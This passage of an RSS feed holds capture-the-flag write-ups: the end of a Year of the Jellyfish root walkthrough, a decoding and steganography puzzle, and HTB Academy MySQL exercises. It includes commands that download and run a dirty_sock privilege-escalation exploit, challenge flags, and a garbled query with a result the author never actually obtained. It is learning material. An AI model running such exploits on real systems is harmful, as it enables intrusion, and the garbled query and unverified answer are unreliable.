TERM=xterm</pre><p>This ensured that the shell behaved correctly and allowed me to interact with the system more easily.</p><p><strong>Flag 1</strong></p><p>As I continued to explore the system, I stumbled upon a directory that caught my attention: /var/www/. I decided to investigate further and see what secrets it held.</p><pre>cd /var/www/<br>ls -la</pre><p>The directory listing revealed several files and subdirectories, including a suspicious-looking file called flag1.txt. My curiosity was piqued, and I decided to take a closer look.</p><pre>cat flag1.txt</pre><blockquote>The contents of the file revealed the first flag: <strong>THM{MjBkOTMyZDgzNGZmOGI0Y2I5NTljNGNl}</strong>.</blockquote><p>But how did I get here? Let me walk you through the steps:</p><ol><li>After gaining access to the system through the Monitorr exploit, I stabilized the shell using the python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39; command.</li><li>I then navigated to the /var/www/ directory using the cd command.</li><li>Finally, I used the cat command to read the contents of the flag1.txt file, which revealed the first flag.</li></ol><p><strong>Privilege Escalation</strong></p><p>To escalate my privileges, I employed the dirty_sock exploit. A search for exploits using Searchsploit yielded the following result:</p><pre>searchsploit dirty_sock</pre><p>I discovered an exploit for dirty_sock, which allowed for local privilege escalation. The exploit was downloaded and executed using the following commands:</p><pre>wget https://www.exploit-db.com/download/46362<br>mv 46362 priv.py<br>python3 priv.py</pre><p>The exploit successfully created a new user, dirty_sock, with sudo privileges. I then switched to the new user and accessed the root directory using the following commands:</p><pre>su dirty_sock<br>sudo -i</pre><p><strong>Root Flag</strong></p><p>Finally, I accessed the root flag by reading the /root/root.txt file:</p><pre>sudo cat /root/root.txt</pre><blockquote>The root flag was <strong>THM{YjMyZTkwYzZhM2U5MGEzZDU2MDc1NTMx}</strong>.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/1*CSyOwp1AiiSXvjpQ_7XZ-Q.gif" /></figure><p><strong>Conclusion</strong></p><p>In this writeup, I demonstrated how to exploit the Year of the Jellyfish challenge using various techniques, including Nmap scanning, Gobuster directory enumeration, and exploit execution. I also provided tips and tricks for stabilizing the shell, escalating privileges, and performing post-exploitation activities. Remember to always practice safe hacking and follow the rules of engagement when participating in capture the flag (CTF) challenges. Happy hacking!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9f82de711b92" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[TryHackMe] The Impossible Challenge by 0day Writeup]]></title>
            <link>https://infosecwriteups.com/tryhackme-the-impossible-challenge-by-0day-writeup-b74a4a263891?source=rss-616eda82a406------2</link>
            <guid isPermaLink="false">https://medium.com/p/b74a4a263891</guid>
            <category><![CDATA[encoding-decoding]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[steganography]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[ViraSecurity]]></dc:creator>
            <pubDate>Sun, 15 Dec 2024 08:58:38 GMT</pubDate>
            <atom:updated>2025-09-18T07:38:24.371Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackMe — Box Challenge : The Impossible Challenge by 0day Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-M1MaEgv70NFR_k1oMSlHg.png" /></figure><p>One thing for sure, this challenge is the most funny I have ever done.</p><p><em>Let me tell you why.</em></p><ol><li>I download the file and it showed that it required password</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/628/1*J885X-Hm9DbUraeZGaukig.png" /></figure><p>2. I return to the web, and discovered the string of :</p><blockquote>qo qt q` r6 ro su pn s_ rn r6 p6 s_ q2 ps qq rs rp ps rt r4 pu pt qn r4 rq pt q` so pu ps r4 sq pu ps q2 su rn on oq o_ pu ps ou r5 pu pt r4 sr rp qt pu rs q2 qt r4 r4 ro su pq o5</blockquote><p>3. Here’s the TL;DR:</p><p>You spot a funky cipher: qo qt q\ r6...`. It screams <strong>layered encoding</strong>, so you dissect it.</p><ul><li><strong>ROT13</strong>: Shifts <strong>alphabetic</strong> into slightly comprehendible — cool, but still encrypted.</li></ul><blockquote>db dg d` e6 eb fh ca f_ ea e6 c6 f_ d2 cf dd ef ec cf eg e4 ch cg da e4 ed cg d` fb ch cf e4 fd ch cf d2 fh ea ba bd b_ ch cf bh e5 ch cg e4 fe ec dg ch ef d2 dg e4 e4 eb fh cd b5</blockquote><ul><li><strong>ROT47</strong>: Cracks open the <strong>alphanumeric + symbols</strong> vault, revealing a juicy <strong>hex</strong>-like structure</li></ul><blockquote>53 58 51 6e 63 79 42 70 62 6e 4e 70 5a 47 55 67 64 47 68 6c 49 48 52 6c 65 48 51 73 49 47 6c 75 49 47 5a 79 62 32 35 30 49 47 39 6d 49 48 6c 76 64 58 49 67 5a 58 6c 6c 63 79 45 3d</blockquote><ul><li><strong>From Hex</strong>: Converts those tasty hex bites into ASCII plain text:</li></ul><blockquote><em>It’s inside the text, in front of your eyes!</em></blockquote><p>It is truly interesting, so I tried more decoding to find what does it means.</p><ul><li><strong>Base64</strong>: Slaps on a clean, modern disguise for obfuscation (because why not?).</li></ul><blockquote>U1hRbmN5QnBibk5wWkdVZ2RHaGxJSFJsZUhRc0lHbHVJR1p5YjI1MElHOW1JSGx2ZFhJZ1pYbGxjeUU9</blockquote><p>Unfortunately, it doesn’t show anything as many final decoding to Base64 does (T_T)</p><p>Verdict? It’s a nerdy cocktail of substitution and layered encoding. Fancy, but crackable.</p><p>4. I contemplates on what I might miss, and try to do old-style inspect the code.</p><p><em>and I find this :</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RM0NnPwWomxew6y5DaKoug.png" /></figure><p>5. So I return to the title and desc, copy-paste it, and go to <a href="https://330k.github.io/misc_tools/unicode_steganography.html">https://330k.github.io/misc_tools/unicode_steganography.html</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7sKvcSGisQuuyftlRYXY3A.png" /></figure><p>6. Now we get the password and <strong>BOOM</strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KnoLtv6-NqzmW2V4PacHCw.png" /></figure><blockquote>You have solved the Impossible Challenge! Here is your flag <strong>THM{Zero_Width_Characters_EZPZ}</strong></blockquote><p>yeah … truly <strong>impossible</strong> indeed if people keep scattering around and miss that the key is in the title and desc all along … still the most fun and fastest challenge room I have ever done in my whole life (that is not from learning path). Thank you, 0day! Great machine as always! I have done 0day and Ollie, so now let’s get work on REmux The Tmux next!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fvKNYzmnOilf9AmfxOk6Rw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bmXYb_W0U93ZADzKiolNnQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/942/1*itkQ8wGRxjM14dXm59OonA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b74a4a263891" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/tryhackme-the-impossible-challenge-by-0day-writeup-b74a4a263891">[TryHackMe] The Impossible Challenge by 0day Writeup</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[HTB Academy] SQL Injection Fundamentals Writeup 2024 — MySQL]]></title>
            <link>https://medium.com/@avira.cehoscp/htb-academy-sql-injection-fundamentals-writeup-2024-mysql-831ebad563ad?source=rss-616eda82a406------2</link>
            <guid isPermaLink="false">https://medium.com/p/831ebad563ad</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[ViraSecurity]]></dc:creator>
            <pubDate>Mon, 02 Dec 2024 04:39:19 GMT</pubDate>
            <atom:updated>2024-12-02T04:39:19.052Z</atom:updated>
            <content:encoded><![CDATA[<h3>[HTB Academy] SQL Injection Fundamentals Writeup 2024 — MySQL</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/0*Re0K_5Jd6eBAT04z.png" /></figure><p>It’s been a while since I dove into the world of Hack The Box (HTB), and as I logged back in to continue my learning journey, I had a bit of a moment — realized I completely forgot which email I used to register my account. I know, I know… a classic mistake! As a SOC Analyst working in cybersecurity, you’d think I’d have my digital footprint under control, but here we are.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*onUx0_JkXXZcFLiYC60ZFQ.jpeg" /></figure><p>Anyway, after a bit of a reset, I’m back and excited to share my experience working through one of the fundamental challenges that’s a must-learn for any cybersecurity professional: SQL Injection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/96/1*oEQZVCV2Ybr-UCDLZ5ruZw.gif" /></figure><p>SQL Injection (SQLi) is one of the most common attack vectors out there, and it’s a crucial skill to master when you’re diving deep into penetration testing or even just strengthening your ability to identify vulnerabilities in your environment. In this writeup, I’ll walk you through the steps I took to solve the SQL Injection challenge on HTB, discussing the concepts behind it, the tools and techniques I used, and — of course — some lessons I learned along the way. Let’s get started!</p><h3>Challenge 1: Intro to MySQL</h3><p>In this challenge, the task was to connect to a MySQL database and find the name of the first database.</p><p><strong>Target(s):</strong> 94.237.63.109:52639<br><strong>Authenticate to</strong> 94.237.63.109:52639 with user “root” and password “password”</p><p><strong>Connect to the database using the MySQL client from the command line.</strong></p><ul><li>Use the show databases; command to list databases in the DBMS.</li><li>What is the name of the first database?</li></ul><p>(Note: IP has been generated.)</p><h4>Connect to the MySQL Database</h4><p>To connect to the target MySQL database, I used the MySQL client command-line tool. The command is:</p><pre>mysql -h 94.237.63.109 -P 52639 -u root -p</pre><ul><li>-h 94.237.63.109: Specifies the IP address of the target MySQL server.</li><li>-P 52639: Defines the port number where the MySQL server is listening.</li><li>-u root: The username for authentication, in this case, root.</li><li>-p: Prompts for the password, which is <strong>password</strong>.</li></ul><p>Once connected, I was able to access the MySQL prompt.</p><h4>List the Databases</h4><p>After successfully logging in, the next step was to list the databases available in the MySQL server. The command for this is:</p><pre>SHOW DATABASES;</pre><p>This command returns all the databases on the server. The first database listed is the answer to the challenge.</p><h4>Identify the First Database</h4><p>The first database that appeared in the list was <strong>employees</strong>, which is the correct answer for this challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/1*3WYNYDcjUJTVKKnhJbDT7A.png" /></figure><p><strong>Result:</strong></p><blockquote>The name of the first database is <strong>employees</strong>.</blockquote><p>This step is crucial in understanding how to interact with MySQL servers, and it provides the necessary groundwork for exploring SQL injection vulnerabilities in later challenges.</p><h3>Challenge 2: INSERT Statement</h3><p>In this challenge, the task is to find the department number for the ‘Development’ department in the database. This requires accessing the correct table, searching for the department, and extracting the relevant data.</p><p><strong>Target(s):</strong> 94.237.63.109:52639</p><p><strong>Authenticate to</strong> 94.237.63.109:52639 with user “root” and password “password”</p><h4><strong>the same as before, but query for the department</strong>:</h4><pre>SHOW TABLES;SELECT * FROM departments</pre><p>This sequence revealed the department number for ‘Development,’ which was <strong>d005</strong>.</p><p><strong>Result:</strong></p><blockquote>The department number for the ‘Development’ department is <strong>d005</strong>.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*bzsrAsCn6fZtGtlplx_Q3A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/666/1*BvVPBlPSlgV_TwOOAMyK4g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/664/1*ziQyWRTuzHfBOTL_JusByw.png" /></figure><h3>Challenge 3: Query Results</h3><p><strong>Target(s):</strong> 94.237.63.109:52639<br><strong>Objective:</strong> Retrieve the last name of the employee whose first name starts with “Bar” AND who was hired on 1990–01–01.<br><strong>Credentials:</strong></p><ul><li><strong>Username:</strong> root</li><li><strong>Password:</strong> password</li></ul><h4>Just the same as before ….BUT! Query Execution!</h4><p>To retrieve the last name of the employee whose first name starts with “Bar” and who was hired on 1990–01–01, I used the following SQL query</p><blockquote>SELECT last_name * FROM employees *8 WHERE first_name LIKE &#39;Bar%&#39; AND hire_date = &#39;1990-01-01&#39;;</blockquote><p><strong>Query Breakdown:</strong></p><ul><li><strong>SELECT last_name:</strong> Retrieves only the last name column.</li><li><strong>FROM employees:</strong> Specifies the table to query from.</li><li><strong>WHERE first_name LIKE ‘Bar%’:</strong> Filters employees whose first name starts with “Bar”.</li><li><strong>AND hire_date = ‘1990–01–01’:</strong> Ensures the employee’s hire date matches January 1, 1990.</li></ul><p><strong>Result:</strong></p><blockquote>The last name of the employee meeting the conditions is <strong>Mitchem</strong>.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*WHbD6r7ho02KN5NnqtURKw.png" /></figure><h3>Challenge 4: SQL Operators</h3><p><strong>Target(s):</strong> 94.237.63.109:53202<br><strong>Objective:</strong> Determine the number of records in the titles table where the employee number is greater than 10,000 <strong>OR</strong> their title does <strong>NOT</strong> contain &#39;engineer&#39;.<br><strong>Credentials:</strong></p><ul><li><strong>Username:</strong> root</li><li><strong>Password:</strong> password</li></ul><h4>The initial step was to connect to the MySQL server using the given target and credentials (because I am stoopid):</h4><pre>mysql -h 94.237.63.109 -P 53202 -u root -p</pre><p>However, in my haste to solve the challenge, I overlooked establishing the connection properly and ultimately ran out of the time limit for this task. Despite this, I was able to construct the appropriate query for the challenge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*mIvPr9mCUe3uSs9vEySLMw.gif" /></figure><h4>Now, for the awaited Query Execution</h4><p>Had I successfully connected to the server, the query to retrieve the number of records meeting the conditions would have be:</p><pre>MariaDB [(none)]&gt; SELECT COUNT(*) FROM titles WHERE emp_no &gt; 10000 OR title NOT LIKE &#39;%engineer%&#39;;  <br>+----------+  <br>| COUNT(*) |  <br>+----------+  <br>|      654 |  <br>+----------+  <br>1 row in set (0.066 sec)</pre><p><strong>Result :</strong></p><blockquote>The number of records in the titles table where the employee number is greater than 10,000 OR the title does not contain &#39;engineer&#39; is <strong>654</strong>.</blockquote><p>By the way, looks like I failed to establish my connection… again! Since I’m on a free account, I’ll have to wait until tomorrow for a new Pwnbox, or just publish this separately for the next module. Guess it’s back to the waiting game, but hey, at least I’ll be ready to pwn when I can finally connect!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*GqqrfPTulH7VLNBFaLwH8g.gif" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=831ebad563ad" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>